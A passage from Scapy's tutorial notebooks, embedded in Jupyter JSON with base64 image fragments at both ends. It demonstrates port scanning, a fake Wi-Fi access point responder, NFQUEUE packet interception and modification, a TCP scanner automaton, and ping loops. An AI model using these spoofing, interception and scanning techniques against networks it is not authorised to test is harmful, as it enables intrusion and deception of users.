T2Nvbv/Q8Dx48\n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\n", "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "[[]]" ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "ans.world_trace()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The `PacketList.make_table()` function can be very helpful. Here is a simple \"port scanner\":" ] }, { "cell_type": "code", "execution_count": 29, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " 45.33.32.156 45.33.49.119 \n", "tcp/22 SA SA \n", "tcp/31337 SA RA \n", "tcp/443 RA SA \n", "tcp/80 SA SA \n", "udp/53 dest-unreach - \n" ] } ], "source": [ "ans = sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/TCP(dport=[22, 80, 443, 31337]), timeout=3, verbose=False)[0]\n", "ans.extend(sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/UDP(dport=53)/DNS(qd=DNSQR()), timeout=3, verbose=False)[0])\n", "ans.make_table(lambda x, y: (x[IP].dst, x.sprintf('%IP.proto%/{TCP:%r,TCP.dport%}{UDP:%r,UDP.dport%}'), y.sprintf('{TCP:%TCP.flags%}{ICMP:%ICMP.type%}')))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Implementing a new protocol" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy can be easily extended to support new protocols.\n", "\n", "The following example defines DNS over TCP. The `DNSTCP` class inherits from `Packet` and defines two field: the length, and the real DNS message. The `length_of` and `length_from` arguments link the `len` and `dns` fields together. Scapy will be able to automatically compute the `len` value." ] }, { "cell_type": "code", "execution_count": 119, "metadata": {}, "outputs": [], "source": [ "class DNSTCP(Packet):\n", " name = \"DNS over TCP\"\n", " \n", " fields_desc = [ FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"dns\"),\n", " PacketLenField(\"dns\", 0, DNS, length_from=lambda p: p.len)]\n", " \n", " # This method tells Scapy that the next packet must be decoded with DNSTCP\n", " def guess_payload_class(self, payload):\n", " return DNSTCP" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This new packet definition can be direcly used to build a DNS message over TCP." ] }, { "cell_type": "code", "execution_count": 120, "metadata": {}, "outputs": [ { "data": { "text/plain": [ " |>" ] }, "execution_count": 120, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Build then decode a DNS message over TCP\n", "DNSTCP(raw(DNSTCP(dns=DNS())))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Modifying the previous `StreamSocket` example to use TCP allows to use the new `DNSCTP` layer easily." ] }, { "cell_type": "code", "execution_count": 122, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Received 1 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "data": { "text/plain": [ " an= ns=None ar=None |> |>" ] }, "execution_count": 122, "metadata": {}, "output_type": "execute_result" } ], "source": [ "import socket\n", "\n", "sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # create an TCP socket\n", "sck.connect((\"8.8.8.8\", 53)) # connect to 8.8.8.8 on 53/TCP\n", "\n", "# Create the StreamSocket and gives the class used to decode the answer\n", "ssck = StreamSocket(sck)\n", "ssck.basecls = DNSTCP\n", "\n", "# Send the DNS query\n", "ssck.sr1(DNSTCP(dns=DNS(rd=1, qd=DNSQR(qname=\"www.example.com\"))))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Scapy as a module" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "So far, Scapy was only used from the command line. It is also a Python module than can be used to build specific network tools, such as ping6.py:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ " from scapy.all import *\n", " import argparse\n", "\n", " parser = argparse.ArgumentParser(description=\"A simple ping6\")\n", " parser.add_argument(\"ipv6_address\", help=\"An IPv6 address\")\n", " args = parser.parse_args()\n", "\n", " print(sr1(IPv6(dst=args.ipv6_address)/ICMPv6EchoRequest(), verbose=0).summary())" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Answering machines" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "A lot of attack scenarios look the same: you want to wait for a specific packet, then send an answer to trigger the attack.\n", "\n", "To this extent, Scapy provides the `AnsweringMachine` object. Two methods are especially useful:\n", "1. `is_request()`: return True if the `pkt` is the expected request\n", "2. `make_reply()`: return the packet that must be sent\n", "\n", "The following example uses Scapy Wi-Fi capabilities to pretend that a \"Scapy !\" access point exists.\n", "\n", "Note: your Wi-Fi interface must be set to monitor mode !" ] }, { "cell_type": "code", "execution_count": 129, "metadata": {}, "outputs": [], "source": [ "# Specify the Wi-Fi monitor interface\n", "#conf.iface = \"mon0\" # uncomment to test\n", "\n", "# Create an answering machine\n", "class ProbeRequest_am(AnsweringMachine):\n", " function_name = \"pram\"\n", "\n", " # The fake mac of the fake access point\n", " mac = \"00:11:22:33:44:55\"\n", "\n", " def is_request(self, pkt):\n", " return Dot11ProbeReq in pkt\n", "\n", " def make_reply(self, req):\n", "\n", " rep = RadioTap()\n", " # Note: depending on your Wi-Fi card, you might need a different header than RadioTap()\n", " rep /= Dot11(addr1=req.addr2, addr2=self.mac, addr3=self.mac, ID=RandShort(), SC=RandShort())\n", " rep /= Dot11ProbeResp(cap=\"ESS\", timestamp=time.time())\n", " rep /= Dot11Elt(ID=\"SSID\",info=\"Scapy !\")\n", " rep /= Dot11Elt(ID=\"Rates\",info=b'\\x82\\x84\\x0b\\x16\\x96')\n", " rep /= Dot11Elt(ID=\"DSset\",info=chr(10))\n", "\n", " return rep\n", "\n", "# Start the answering machine\n", "#ProbeRequest_am()() # uncomment to test" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Cheap Man-in-the-middle with NFQUEUE" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "NFQUEUE is an iptables target than can be used to transfer packets to userland process. As a nfqueue module is available in Python, you can take advantage of this Linux feature to perform Scapy based MiTM.\n", "\n", "This example intercepts ICMP Echo request messages sent to 8.8.8.8, sent with the ping command, and modify their sequence numbers. In order to pass packets to Scapy, the following `iptable` command put packets into the NFQUEUE #2807:\n", "\n", "$ sudo iptables -I OUTPUT --destination 8.8.8.8 -p icmp -o eth0 -j NFQUEUE --queue-num 2807" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ " from scapy.all import *\n", " import nfqueue, socket\n", "\n", " def scapy_cb(i, payload):\n", " s = payload.get_data() # get and parse the packet\n", " p = IP(s)\n", "\n", " # Check if the packet is an ICMP Echo Request to 8.8.8.8\n", " if p.dst == \"8.8.8.8\" and ICMP in p:\n", " # Delete checksums to force Scapy to compute them\n", " del(p[IP].chksum, p[ICMP].chksum)\n", " \n", " # Set the ICMP sequence number to 0\n", " p[ICMP].seq = 0\n", " \n", " # Let the modified packet go through\n", " ret = payload.set_verdict_modified(nfqueue.NF_ACCEPT, raw(p), len(p))\n", " \n", " else:\n", " # Accept all packets\n", " payload.set_verdict(nfqueue.NF_ACCEPT)\n", "\n", " # Get an NFQUEUE handler\n", " q = nfqueue.queue()\n", " # Set the function that will be call on each received packet\n", " q.set_callback(scapy_cb)\n", " # Open the queue & start parsing packes\n", " q.fast_open(2807, socket.AF_INET)\n", " q.try_run()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Automaton" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When more logic is needed, Scapy provides a clever way abstraction to define an automaton. In a nutshell, you need to define an object that inherits from `Automaton`, and implement specific methods:\n", "- states: using the `@ATMT.state` decorator. They usually do nothing\n", "- conditions: using the `@ATMT.condition` and `@ATMT.receive_condition` decorators. They describe how to go from one state to another\n", "- actions: using the `ATMT.action` decorator. They describe what to do, like sending a back, when changing state" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The following example does nothing more than trying to mimic a TCP scanner:" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "-> SYN\n", "<- SYN/ACK\n" ] } ], "source": [ "class TCPScanner(Automaton):\n", "\n", " @ATMT.state(initial=1)\n", " def BEGIN(self):\n", " pass\n", "\n", " @ATMT.state()\n", " def SYN(self):\n", " print(\"-> SYN\")\n", "\n", " @ATMT.state()\n", " def SYN_ACK(self):\n", " print(\"<- SYN/ACK\")\n", " raise self.END()\n", "\n", " @ATMT.state()\n", " def RST(self):\n", " print(\"<- RST\")\n", " raise self.END()\n", "\n", " @ATMT.state()\n", " def ERROR(self):\n", " print(\"!! ERROR\")\n", " raise self.END()\n", " @ATMT.state(final=1)\n", " def END(self):\n", " pass\n", " \n", " @ATMT.condition(BEGIN)\n", " def condition_BEGIN(self):\n", " raise self.SYN()\n", "\n", " @ATMT.condition(SYN)\n", " def condition_SYN(self):\n", "\n", " if random.randint(0, 1):\n", " raise self.SYN_ACK()\n", " else:\n", " raise self.RST()\n", "\n", " @ATMT.timeout(SYN, 1)\n", " def timeout_SYN(self):\n", " raise self.ERROR()\n", "\n", "TCPScanner().run()" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "-> SYN\n", "<- RST\n" ] } ], "source": [ "TCPScanner().run()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Pipes" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Pipes are an advanced Scapy feature that aims sniffing, modifying and printing packets. The API provides several buildings blocks. All of them, have high entries and exits (>>) as well as low (>) ones.\n", "\n", "For example, the `CliFeeder` is used to send message from the Python command line to a low exit. It can be combined to the `InjectSink` that reads message on its low entry and inject them to the specified network interface. These blocks can be combined as follows:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Instantiate the blocks\n", "clf = CLIFeeder()\n", "ijs = InjectSink(\"enx3495db043a28\")\n", "\n", "# Plug blocks together\n", "clf > ijs\n", "\n", "# Create and start the engine\n", "pe = PipeEngine(clf)\n", "pe.start()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Packet can be sent using the following command on the prompt:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "clf.send(\"Hello Scapy !\")" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.12" } }, "nbformat": 4, "nbformat_minor": 1 } ================================================ FILE: doc/notebooks/graphs-ipids.ipynb ================================================ { "metadata": { "name": "" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "code", "collapsed": false, "input": [ "from scapy.all import *" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stderr", "text": [ "WARNING: No route found for IPv6 destination :: (no default route?)\n" ] }, { "output_type": "stream", "stream": "stderr", "text": [ "WARNING:scapy.runtime:No route found for IPv6 destination :: (no default route?)\n" ] } ], "prompt_number": 1 }, { "cell_type": "code", "collapsed": false, "input": [ "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] } ], "prompt_number": 5 }, { "cell_type": "code", "collapsed": false, "input": [ "%matplotlib inline\n", "ans.multiplot(lambda p, q: (q[IP].src, (q.time, q[IP].id)), plot_xy=True)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAAh4AAAELCAYAAACWMI//AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XlclWX+//EXKCIViEuLbUoyuYxrDaayawrplGX2mylT\nrGxc+o45lVNmKZpjWWkW5V7qVJpt2qKmohwVccmFzCU3wjQFXOGobML1++MeEBEEDTgHeD8fj/MA\n7nOfw3XzgNu31/K5XIwxBhEREZEK4OroBoiIiEj1oeAhIiIiFUbBQ0RERCqMgoeIiIhUGAUPERER\nqTAKHiIiIlJhShU8UlJSuO2229i7dy8pKSn07NmT4OBggoKCSExMBGDmzJn4+fnRsWNHFi9eDEB6\nejoPP/wwQUFB9OjRg+PHjwOwYcMGOnToQEBAAGPHji2fKxMRERGnU2LwyM7OZuDAgVx77bUYY/j3\nv/9N3759Wb16NWPHjmXHjh0kJSURFRVFXFwcy5YtY8SIEWRlZTF16lTatGnDmjVr6NevH+PGjQNg\n0KBBzJ8/n9jYWDZu3Eh8fHy5X6iIiIg4XonBY/jw4QwePJiGDRsCEBcXx6FDh+jatSuffvopnTt3\nZtOmTfj7++Pm5oaXlxe+vr5s376ddevWER4eDkB4eDjR0dHY7XaysrLw8fEBICwsjOjo6HK8RBER\nEXEWlw0ec+bM4frrr6dbt24AGGNITEykXr16rFixgttvv50JEyZgt9upU6dO/us8PT1JTU0lLS0N\nLy+vYo8VPC4iIiJV32WDx+zZs1mxYgWhoaHEx8cTERFBzZo1eeCBBwC4//772bx5M15eXtjt9vzX\n2e12vL29Lzpe1DGAtLQ0vL29y+PaRERExMnUvNyTq1evzv88NDSU6dOnM3LkSBYvXszjjz/O6tWr\nadmyJe3bt2fkyJFkZmaSkZHB7t27admyJf7+/ixZsgQ/Pz+WLl1KUFAQnp6e1KpVi4SEBHx8fFi+\nfDmRkZFFf